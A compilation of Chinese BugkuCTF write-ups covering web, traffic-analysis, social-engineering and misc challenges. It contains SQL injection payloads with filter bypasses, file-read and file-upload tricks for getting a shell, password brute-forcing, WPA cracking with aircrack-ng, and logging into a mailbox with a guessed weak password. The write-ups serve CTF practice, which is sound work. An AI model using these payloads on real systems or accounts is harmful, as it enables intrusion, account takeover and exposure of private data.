1. 程式人生 > 實用技巧 >BugkuCTF 部分WP(搬運了很多WP)

BugkuCTF 部分WP(搬運了很多WP)

WEB

web2

http://123.206.87.240:8002/web2/

右鍵或按F12檢視原始碼或者url前加view-source

view-source:http://123.206.87.240:8002/web2/

計算器

http://123.206.87.240:8002/yanzhengma/

F12 修改maxlength

web基礎$_GET

http://123.206.87.240:8002/get/

GET傳參 ?what=flag

http://123.206.87.240:8002/get/?what=flag

web基礎$_POST

http://123.206.87.240:8002/post/

HackBar 或者burpsuite post傳參 what=flag

矛盾

http://123.206.87.240:8002/get/index1.php

考察php弱型別比較

http://123.206.87.240:8002/get/index1.php?num=1a

web3

http://123.206.87.240:8002/web3/

檢視原始碼

複製出來貼上到 burp 自帶的 decoder 裡,在 decode as 選 HTML,就能解碼出 flag

域名解析

burpsuite抓包,把 host 欄位直接改成域名。

或者修改C盤下的hosts檔案

你必須讓他停下

http://123.206.87.240:8002/web12/

burpsuite抓包後發到 repeater,每點一次 Go 就會重新整理,多重新整理幾次就可以看到flag

變數1

flag In the variable !` 
<?php 
	error_reporting(0);
	include "flag1.php";
	highlight_file(__file__);
	if(isset($_GET['args']))
	{  
		$args = $_GET['args'];  
		if(!preg_match("/^\w+$/",$args))
		{    
			die("args error!");  
		}  
		eval("var_dump($$args);");
	}
?>`

需要傳入有個 args 引數,通過 eval 來執行 var_dump 來列印一些東西。但是它打 印的是$$args 而不是$args。

傳 入 參 數 ‘args=GLOBALS' , var_dump()將列印$GLOBALS

http://123.206.87.240:8004/index1.php?args=GLOBALS

web5

檢視原始碼,將以下內容放到瀏覽器控制檯執行得到flag

([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+!+
.................(此處省略若干行)
(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]])

ctf{whatfk}

字母大寫 CTF{WHATFK}

頭等艙

http://123.206.87.240:9009/hd.php

burpsuite抓包傳送到Repeater 裡面,Go 一下,Response 裡面已經出來 flag 了

網站被黑

http://123.206.87.240:8002/webshell/

御劍掃描後臺

掃描出 shell.php,開啟連結是一個 webshell,嘗試 admin 等弱密碼無效後

開 burp 進行爆破,這裡選擇 Simple list,字典選擇 burp 自帶的 Passwords

爆破結果,密碼為hack,登入webshell,得到flag

管理員系統

http://123.206.31.85:1003/

decode as base64

Username: admin

Password: test123

IP禁止訪問,請聯絡本地管理員登陸,IP已被記錄.

輸入

Username: admin

Password: test123

burpsuite抓包 傳送到repeater 偽造ip X-Forwarded-For: 127.0.0.1 得到flag

web4

http://123.206.87.240:8002/web4/

檢視原始碼

進行 unescape 解密,得到 function checkSubmit(){vara=document.getElementById("password");if("undefined"!=typeofa){if("67d709b2b aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElement ById("levelQues

,原始碼中有這麼一 句:eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));這句程式碼的 含義是:p1 串的編碼+‘%35%34%61%61%32’的編碼+p2 串的編碼。這是一個拼 接的字串,解碼之後,拼接完成,回到網頁中提交,網頁直接爆出了 flag。

67d709b2b 54aa2 aa648cf6e87a7114f1

拼接完成,回到網頁中提交,網頁直接爆出了 flag:67d709b2b54aa2aa648cf6e87a7114f1

KEY{J22JK-HS11}

flag在index裡

http://123.206.87.240:8005/post/

file=php://filter/read=convert.base64-encode/resource=index.php 的含義 首先這是一個 file 關鍵字的 get 引數傳遞,

php://是一種協議名稱,

php://filter/ 是一種訪問本地檔案的協議,

/read=convert.base64-encode/表示讀取的方式是 base64 編碼後,resource=index.php 表示目標檔案為 index.php。

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

decode as base64

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
 

輸入密碼檢視flag

http://123.206.87.240:8002/baopo/

baopo:爆破

burpsuite抓包爆破得到密碼13579

輸入密碼得到flag

備份是個好習慣

http://123.206.87.240:8002/web16/

http://123.206.87.240:8002/web16/index.php.bak

下載備份檔案

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

str_replace 把字串中的 'key'替換 為 空 可 以 使 用 類 似這 樣 的 語 句 : kkeyey 處理

最後需要得到 key1,key2 不相等而二者 md5 相等,可以利用 php 弱型別比較 繞過

構造

payload:?kkeyey1=QNKCDZO&kkeyey2=240610708

成績單

0' union select database(),2,3,4 # 得到資料庫名 skctf_flag

0' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag'# 得到表名 fl4g

0' union select column_name,2,3,4 from information_schema.columns where table_name='fl4g'#

得到列名 skctf_flag

0' union select skctf_flag,2,3,4 from fl4g#

秋名山老司機

網上抄的程式碼

import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'  # 這個URL是不定的
s = requests.session()
g = s.get(url)
page = re.findall(r'<div>(.*)=\?;</div>', g.text)[0]
res = eval(page)
payload = {'value': res}
p = s.post(url, data=payload)
print(p.text)

一次執行可能看不到flag,多執行幾次就可以看到flag

速度要快

http://123.206.87.240:8002/web6/

# coding:utf-8
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.Session()
head=s.get(url).headers
flag=base64.b64decode(head["flag"])
flag=flag.decode()
key=base64.b64decode(flag.split(":")[1])
payload={"margin":key}
print(s.post(url,data=payload).text)

KEY{111dd62fcd377076be18a}

cookies欺騙

http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

a2V5cy50eHQ= decode as base64 keys.txt

參考

https://www.cnblogs.com/-chenxs/p/11658288.html

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ 
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=

burpsuite抓包傳送到repeater

在請求頭新增 Cookie: margin=margin

(Cookie: margin=margin
Upgrade-Insecure-Requests: 1)

KEY{key_keys}

never give up

http://123.206.87.240:8006/test/hello.php?id=1

檢視原始碼

訪問 view-source:http://123.206.87.240:8006/test/1p.html

<!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->

decode as base64 , decode as html

<!--


var Words ="<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}


?>-->" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->

訪問 http://123.206.87.240:8006/test/f4l2a3g.txt 得到flag

字元?正則?

參考連結:https://blog.csdn.net/weixin_44481102/article/details/90214568

https://www.cnblogs.com/chrysanthemum/p/11483857.html

不太懂正則

[http://123.206.87.240:8002/web10/?id=keykeykeykeykey:/ /keya@i](http://123.206.87.240:8002/web10/?id=keykeykeykeykey:/ /keya@i)

你從哪裡來

http://123.206.87.240:9009/from.php

are you from google?

burpsuite抓包傳送到repeater

在Headers新增 Referer https://www.google.com

md5 collision(NUPT_CTF)

md5碰撞、php弱型別

PHP在處理雜湊字串時,會利用”!=”或”==”來對雜湊值進行比較,它把每一個以”0E”開頭的雜湊值都解釋為0,所以如果兩個不同的密碼經過雜湊以後,其雜湊值都是以”0E”開頭的,那麼PHP將會認為他們相同,都是0。

攻擊者可以利用這一漏洞,通過輸入一個經過雜湊後以”0E”開頭的字串,即會被PHP解釋為0,如果資料庫中存在這種雜湊值以”0E”開頭的密碼的話,他就可以以這個使用者的身份登入進去,儘管並沒有真正的密碼。

原文連結:https://blog.csdn.net/qq_30464257/article/details/81432446

參考連結 https://blog.csdn.net/qq_30464257/article/details/81432446

http://123.206.87.240:9009/md5.php

http://123.206.87.240:9009/md5.php?a=s878926199a

程式設計師本地網站

burpsuite抓包傳送到repeater

在Headers新增 X-Forwarded-For 127.0.0.1

各種繞過

http://123.206.87.240:8002/web7/

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?>

本題注意點:

  1. get 方式提交 uname 和 id 值,post 方式提交 passwd 值
  2. uname 和 passwd 的雜湊值相同
  3. id == “margin”

解決

1 get 和 post 提交,方式 1:火狐的 HackBar,方式2:python 程式。。。

2 把 uname 和 passwd 定義成陣列,陣列的雜湊值相同

3 url 傳入時,令 id=margin

get傳參:http://123.206.87.240:8002/web7/?uname[]=1&id=margin

post傳參:passwd[]=2

web8

http://123.206.87.240:8002/web8/

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

分析程式碼:

extract($_GET):函式 extract()有通過陣列進行賦值的功能

file_get_contents($fn):file_get_contents 功能是從檔名為“$fn”的檔案中讀取資料,但是當$fn 的值為“php://input”,它會接受並返回 post 的值

構造 index.php?ac=text&fn=php://input

post data

text

細心

http://123.206.87.240:8002/web13/

http://123.206.87.240:8002/web13/robots.txt

http://123.206.87.240:8002/web13/resusl.php

http://123.206.87.240:8002/web13/resusl.php?x=admin

求getshell

http://123.206.87.240:8002/web9/

這道題是字尾名黑名單檢測和型別檢測

  1. 把請求頭裡面的 Content-Type 字母改成大寫進行繞過

  2. .jpg 後面加上.php5 其他的都被過濾了好像 如果是 walf 嚴格匹配,通過修改 Content-type 後字母的大小寫可以繞過檢測,使 得需要上傳的檔案可以到達伺服器端,而伺服器的容錯率較高,一般我們上傳的檔案 可以解析。然後就需要確定我們如何上傳檔案,在分別將字尾名修改為 php2, php3, php4, php5, phps, pht, phtm, phtml(php 的別名),發現只有 php5 沒有被過 濾,成功上傳,得到 flag

    Content-Type: mUltipart/form-data;

    Content-Disposition: form-data; name="file"; filename="123.php5"
    Content-Type: image/png

INSERT INTO注入

暫時不會做,也不會寫Python指令碼

參考 https://www.cnblogs.com/Zhu013/p/11477772.html

多次

http://123.206.87.240:9004/

?id=1'or 1=1--+ 也報錯,可能存在過濾

嘗試雙寫繞過,?id=1'oorr 1=1--+ 返回正常

那如何檢測哪些字串被過濾了呢?新技能 GET!

異或注入瞭解一下,兩個條件相同(同真或同假)即為假 ?id=1'^(length('union')!=0)--+

如果返回頁面顯示正常,那就證明 length(‘union’)==0 的,也就是 union 被過濾了 同理測試出被過濾的字串有:and,or,union,select

查資料庫名

http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

返回flag1,hint

http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+

返回flag1,address

查列

http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(flag1) from flag1--+

返回 usOwycTju+FTUUzXosjr

查address

http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(address) from flag1--+

返回 ./Once_More.php
下一關地址

查庫

[http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20(extractvalue(1,concat(0x7e,database(),0x7e)))--+](http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--+)

返回內容

My Id =1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--

Nobody!
XPATH syntax error: '~web1002-2~'

查表

http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e)))--+

//select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'

返回內容

My Id =1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e)))--

Nobody!
XPATH syntax error: '~class,flag2~'

查資料

http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)))--+

//select group_concat(column_name) from information_schema.columns where table_name='flag2'

返回內容

My Id =1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)))--

Nobody!
XPATH syntax error: '~flag2,address~'

//select flag2 from flag2

http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e)))--+

返回內容

My Id =1' and (extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e)))--

Nobody!
XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'

本地主要是 sql 注入,報錯注入以及異或注入

分析

flag 被盜

key.pcapng 檔案,下載用 wireshark 開啟

篩選 http

任意選擇一條含 shell.php 的內容 右鍵 =>>追蹤流 =>>TCP 流 ,看一下詳細 資訊。

X@Yflag{This_is_a_f10g}

中國菜刀

參考:

https://www.cnblogs.com/0yst3r-2046/p/12213278.html

這麼多資料包

下載檔案,wireshark開啟

根據提示,我們要找到 getshell 流, 經大佬提示, 一般 getshell 流的 TCP 的 報文中很可能包含 command 這個欄位, 我們可以通過<協議 contains “內 容” >來查詢 getshell 流

篩選 tcp contains "command"

No5548 追蹤流TCP流

Q0NURntkb195b3VfbGlrZV9zbmlmZmVyfQ==

decode as base64

CCTF{do_you_like_sniffer}

手機熱點

參考:

https://www.cnblogs.com/0yst3r-2046/p/12290445.html

抓到一隻蒼蠅

參考:

https://www.cnblogs.com/0yst3r-2046/p/12299558.html

日誌審計

參考 https://www.cnblogs.com/0yst3r-2046/p/12322110.html

下載檔案,用Notepad++開啟

Plugins-MIME Tool-URL decode

看到有 flag_is_here 的記錄... 在 sql 盲注裡測試的字元的 最後一條狀態碼為 200 的語句 的 ASCII 值再加 1 就 是猜解正確的 ASCII 值,轉換成字元就是我們需要的答案的其中一個字元。

101+1=102 -->f 107+1=108 -->l 96+1=97 -->a 102+1=103 -->g 由於字元比較多,我們就不一一列舉了,以上就是 flag 的前四個字元。 最多得出 flag{sqlm4p_15_p0werful} 這個題的經驗在於,對注入的瞭解,sql 注入盲注

weblogic

參考:

https://www.cnblogs.com/0yst3r-2046/p/12331603.html

資訊提取

參考:

https://blog.csdn.net/qq_39991837/article/details/105452677

特殊後門

下載檔案,wireshark開啟

篩選 icmp

拼接每條流量的資料得到flag

flag{Icmp_backdoor_can_transfer-some_infomation}

WEB進階

phpcmsV9

http://123.206.87.240:8001/

http://123.206.87.240:8001/robots.txt

bugku 導航

http://123.206.87.240:9006/

御劍掃描

發現掃出了 1 個 admin、1.zip、robots.txt 等等敏感檔案目錄

然後我們訪問 1.zip 把該檔案下載過來,然後下載解壓後發現這個是該網站的原始碼

在本地開啟該檔案是沒有任何東西的,但是我們在瀏覽器上訪問該檔案,就顯示出 flag 了。

http://123.206.87.240:9006/flag-asd.txt

社工

密碼

這個是典型的弱口令,猜了一下,KEY 是姓名+生日, KEY{zs19970315}

資訊查詢

https://www.toutiao.com/

今日頭條主頁搜尋bugku.cn

https://www.toutiao.com/search/?keyword=bugku.cn

https://www.toutiao.com/a4530947333/c

技術交流群:462713425

KEY{462713425}

簡單個人資訊收集

zip偽加密

參考:

https://www.cnblogs.com/0yst3r-2046/p/11351140.html

用 winhex 開啟,然後修改 09 為 00

在哈爾濱市阿城區勝利街六委十三組 有個叫杜甫的你能把他的手機號找到嗎?

flag格式 flag{手機號}

社工進階

參考:

https://www.cnblogs.com/0yst3r-2046/p/11351332.html

name:孤長離

提示:弱口令

https://tieba.baidu.com/p/4911421204?pid=101711704384&cid=#101711704384

網易郵箱 [email protected] 密碼是弱口令 a123456

在郵箱的草稿箱發現flag KEY{sg1H78Si9C0s99Q}

王曉明的日記

參考:

https://www.cnblogs.com/0yst3r-2046/p/11371915.html

簡單的社工嘗試

參考:

https://www.cnblogs.com/0yst3r-2046/p/11376089.html

雜項

簽到題

掃碼關注公眾號得到flag

flag{BugKu-Sec-pwn!}

這是一張單純的圖片

下載圖片在winhex下開啟,拖到最後發現以下字元,decode as html 得到flag

key{you are right}

隱寫

下載圖片在winhex下開啟,IHDR後面0-3位元組代表圖片寬度,4-7位元組代表圖片高度

將' 00 00 01 F4 00 00 01 A4 '修改為' 00 00 01 F4 00 00 01 F4 '

儲存圖片再次開啟,就可以看到flag

telnet

下載檔案,wireshark開啟,第二個資料包追蹤TCP流發現flag

Password: flag{d316759c281bf925d600be698a4973d5}

眼見非實(ISCCCTF)

下載檔案將檔案字尾改為.zip,解壓,發現 .docx,word開啟報錯,再將字尾改為 .zip,解壓在document.xml中發現flag

<w:t>flag{F1@g}</w:t>

啊噠

下載檔案解壓,把圖片放到kali開啟

binwalk ada.jpg

dd if=ada.jpg of=1.zip skip=218773 bs=1

dd命令詳解,這裡if是指定輸入檔案,of是指定輸出檔案,skip是指定從輸入檔案開頭跳過218773個塊後再開始複製,bs設定每次讀寫塊的大小為1位元組。

zip開啟需要密碼

檢視突破屬性發現

裝置

73646E6973635F32303138

這個會不會是密碼,輸入後發現不是。

burpsuite Decoder模組解碼

73646E6973635F32303138 decode as ASCII hex

sdnisc_2018 //得到解壓密碼

flag{3XiF_iNf0rM@ti0n}

又一張圖片,還單純嗎

kali下開啟

binwalk 、foremost、 dd

dd if=2.jpg of=3.jpg skip=158792 bs=1

下載圖片百度識圖,識圖結果劉亦菲

根據提示key{liuyifei}

寬頻資訊洩露

下載檔案 RouterPassView 開啟

查詢username 053700357621

flag格式:flag{寬頻使用者名稱}

flag{053700357621}

隱寫2

老套路 屬性-winhex-binwalk

屬性和winhex都發現不了什麼

binwalk Welcome_.jpg

dd if=Welcome_.jpg of=2.zip skip=52516 ds=1

開啟壓縮包,圖片提示密碼為3位數,可以用fcrackzip破解,Fcrackzip——簡介、安裝、使用

sudo apt-get install fcrackzip

fcrackzip -b -l 3-3 -c1 -v flag.rar

found file '3.jpg', (size cp/uc 6588/ 6769, flags 801, chk 102c)
possible pw found: 035 ()
possible pw found: 337 ()
possible pw found: 728 ()
possible pw found: 871 ()

解壓密碼:871,解壓後,winhex開啟,拖到最後

發現 f1@g{eTB1IEFyZSBhIGhAY2tlciE=}

eTB1IEFyZSBhIGhAY2tlciE=

decode as Base64

y0u Are a h@cker!

多種方法解決

下載、解壓、winhex開啟

base64轉圖片

掃碼得flag

閃的好快

是一個gif 一直閃

stegsolve可以把gif一幀幀放的工具

一張張掃

答案就是SYC{F1aSh_so_f4sT}

come_game

Bugku—come_game

白哥的鴿子

winhex開啟,拖到最後,編碼改為ANSI ASCII

fg2ivyo}l{2s3_o@aw__rcl@

柵欄密碼解密

fg2ivyo}l{2s3_o@aw__rcl@

2欄:
f3g_2oi@vaywo_}_lr{c2ls@

3欄:
flag{w22_is_v3ry_cool}@@

flag{w22_is_v3ry_cool}

linux

下載檔案,解壓,kali下開啟

grep 'key' -a flag
key{}
key{}
key{feb81d3834e2423c9903f4755464060b}

隱寫3

winhex修改圖片高度

把01 00 改為02 A7

拿到flag{He1l0_d4_ba1}

做個遊戲(08067CTF)

下載、解壓經過試驗發現flag在下面這個檔案

.\heiheihei\cn\bjsxt\plane\PlaneGameFrame.class

編輯-查詢flag flag{RGFqaURhbGlfSmlud2FuQ2hpamk=}

RGFqaURhbGlfSmlud2FuQ2hpamk=

decode as base64

DajiDali_JinwanChiji

想蹭網先解開密碼

flag格式:flag{你破解的WiFi密碼}tips:密碼為手機號,為了不為難你,大佬特地讓我悄悄地把前七位告訴你 1391040** Goodluck!!作者@NewBee

下載檔案,wireshark開啟沒有什麼發現

在kali下開啟

crunch 11 11 -t 1391040%%%% -o dictionary.txt

aircrack-ng -a2 wifi.cap -w dictionary.txt

crunch命令詳解以及使用方法

完全教程 Aircrack-ng

1 3C:E5:A6:20:91:60 CATR WPA (0 handshake)
2 3C:E5:A6:20:91:61 CATR-GUEST WPA (0 handshake)
3 BC:F6:85:9E:4E:A3 D-Link_DIR-600A WPA (1 handshake, with PMKID)

Index number of target network ? 3

KEY FOUND! [ 13910407686 ]

Linux2

下載檔案,解壓,記事本開啟brave,編輯-查詢 key

KEY{24f3627a86fc740a7f36ee2c7a1c124a}

細心的大象

binwalk 1.jpg

foremost 1.jpg

00000000.jpg 屬性 詳細資訊 TVNEUzQ1NkFTRDEyM3p6

TVNEUzQ1NkFTRDEyM3p6

decode as base64

MSDS456ASD123zz

這個是壓縮包解壓密碼,將解壓後得到的圖片放到winhex開啟,修改高度(01 A4 改為 01 F4)儲存再檢視即可看到flag

爆照

binwalk 8.jpg

foremost 8.jpg

root@kali:~/桌面/output2/zip/00000079# binwalk 8

0 0x0 PC bitmap, Windows 3.x format,, 303 x 300 x 8

root@kali:~/桌面/output2/zip/00000079# binwalk 88

0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8

root@kali:~/桌面/output2/zip/00000079# binwalk 888

0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8

root@kali:~/桌面/output2/zip/00000079# binwalk 8888

0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
10976 0x2AE0 Zip archive data, at least v2.0 to extract, compressed size: 644, uncompressed size: 1202, name: 1509126368.png
11760 0x2DF0 End of Zip archive, footer length: 22

root@kali:~/桌面/output2/zip/00000079# foremost 8888

88 掃碼得到 bilibili

888 修改新增字尾 888.jpg在win下開啟 屬性-詳細資訊-備註發現base64編碼 c2lsaXNpbGk=

c2lsaXNpbGk=

decode as Base64

silisili

foremost 8888 掃碼結果 panama

根據提示flag格式 flag{xxx_xxx_xxx}得flag{bilibili_silisili_panama}

貓片

hint:LSB BGR NTFS

https://blog.csdn.net/weixin_43426549/article/details/103194153

https://www.cnblogs.com/liuzeyu12a/p/10033384.html

https://www.cnblogs.com/cat47/p/11432475.html

新增字尾 .png 用stegsolve開啟

Alpha為什麼不勾,因為是透明度,如果改為0就變成全透明,圖片就什麼也看不見

RGB是全為0 讓它避免有其他顏色亮度的干擾 ,如果RGB任意一個改為不為0,那麼這張圖片的程式碼就會出現錯誤

導致他不是一個圖片檔案

當我們改好的時候 可以看見是一個png檔案

save bin 儲存為png格式

又因為png格式頭是89504e

所以要把fffe刪掉,我們扔到winhex裡面刪除fffe

儲存再開啟

winhex修改圖片高度 掃碼得到網盤連結,下載

winrar+ntfs 得到一個pyc檔案 用反編譯把他搞成py檔案

import base64
ciphertext = [
 '96', '65', '93', '123', '91', '97', '22', '93', '70', '102', '94', '132', '46', '112', '64', '97', '88', '80', '82', '137', '90', '109', '99', '112']

def decode():
    flag = ''
    ciphertext.reverse()
    for i in range(len(ciphertext)):
        if i % 2 == 0:
            s = int(ciphertext[i]) - 10
        else:
            s = int(ciphertext[i]) + 10
        s = chr(i^s)
        flag = flag + s
    print(flag)

decode()

flag{Y@e_Cl3veR_C1Ever!}

多彩

旋轉跳躍

普通的二維碼

烏雲邀請碼

下載檔案解壓StegSolve 開啟 LSB First BGR

flag{Png_Lsb_Y0u_K0nw! }

神祕的檔案

採用明文攻擊,用的是ARCHPR

解壓密碼:q1w2e3r4

將解壓得到的文件字尾改為 .zip,解壓,在docProps裡發現flag.txt,裡面是base64

ZmxhZ3tkMGNYXzFzX3ppUF9maWxlfQ==

decode as base64

flag{d0cX_1s_ziP_file}

論劍

下載圖片,winhex開啟,慢慢翻到中間是一串二進位制

1101101 01111001 01101110 01100001 01101101 01100101 01101001 01110011 01101011 01100101 01111001 00100001 00100001 00100001 01101000 01101000 01101000

decode as Binary

109 121 110 97 109 101 105 115 107 101 121 33 33 33 104 104 104

ascii轉字串

a = [109, 121, 110, 97, 109, 101, 105, 115,
     107, 101, 121, 33, 33, 33, 104, 104, 104]
b = ""
for i in a:
    b += chr(i)
print(b)
'''
mynameiskey!!!hhh
'''

參考

將二進位制部分後面的16進位制"38 7B BC AF 27 1C"改為"37 7A BC AF 27 1C"(7z壓縮包的頭)

binwalk,dd 分離

root@kali:~/桌面# dd if=lunjian1.jpg of=1.zip skip=9591 bs=1 root@kali:~/桌面# dd if=lunjian1.jpg of=1.jpg skip=17569 bs=1

壓縮包解壓密碼mynameiskey!!!hhh 解壓得到ljc2.jpg

winhex開啟ljc2.jpg 搜尋十六進位制搜尋FFC2目的是修改寬高 jpg檔案格式https://blog.csdn.net/yun_hen/article/details/78135122

再把lunjian.jpg也就是題目下載的那個圖片改一下寬高

結合起來 not flag{666c61677B6D795F6E616D655F482121487D}

666c61677B6D795F6E616D655F482121487D

decode as ASCII hex

flag{my_name_H!!H}

圖窮匕見

convert

聽首音樂

好多數值

很普通的數獨(ISCCCTF)

PEN_AND_APPLE

color

懷疑人生

紅綠燈

不簡單的壓縮包

一枝獨秀

小豬佩奇

好多壓縮包

一個普通的壓縮包

2B

QAQ

妹子的陌陌

就五層你能解開嗎

加密

滴答~滴

摩斯電碼解密

聰明的小羊

一隻小羊翻過了2個柵欄KYsd3js2E{a2jda}

柵欄密碼解密(欄數2)

ok

Ook! to text

這不是摩斯密碼

Brainfuck to text

easy_crypto

from __future__ import print_function
a = input("input the string:")
s = a.split(" ")
dict = {'01': 'A',
        '1000': 'B',
        '1010': 'C',
        '100':'D',
        '0':'E',
        '0010':'F',
        '110': 'G',
        '0000': 'H',
        '00': 'I',
        '0111':'J',
        '101': 'K',
        '0100': 'L',
        '11': 'M',
        '10': 'N',
        '111': 'O',
        '0110': 'P',
        '1101': 'Q',
        '010': 'R',
        '000': 'S',
        '1': 'T',
        '001': 'U',
        '0001': 'V',
        '011': 'W',
        '1001': 'X',
        '1011': 'Y',
        '1100': 'Z',
        '01111': '1',
        '00111': '2',
        '00011': '3',
        '00001': '4',
        '00000': '5',
        '10000': '6',
        '11000': '7',
        '11100': '8',
        '11110': '9',
        '11111': '0',
        '001100': '?',
        '10010': '/',
        '101101': '()',
        '100001': '-',
        '010101': '.',
        '110011':',',
        '011010':'@',
        '111000':':',
        '101010':':',
        '10001':'=',
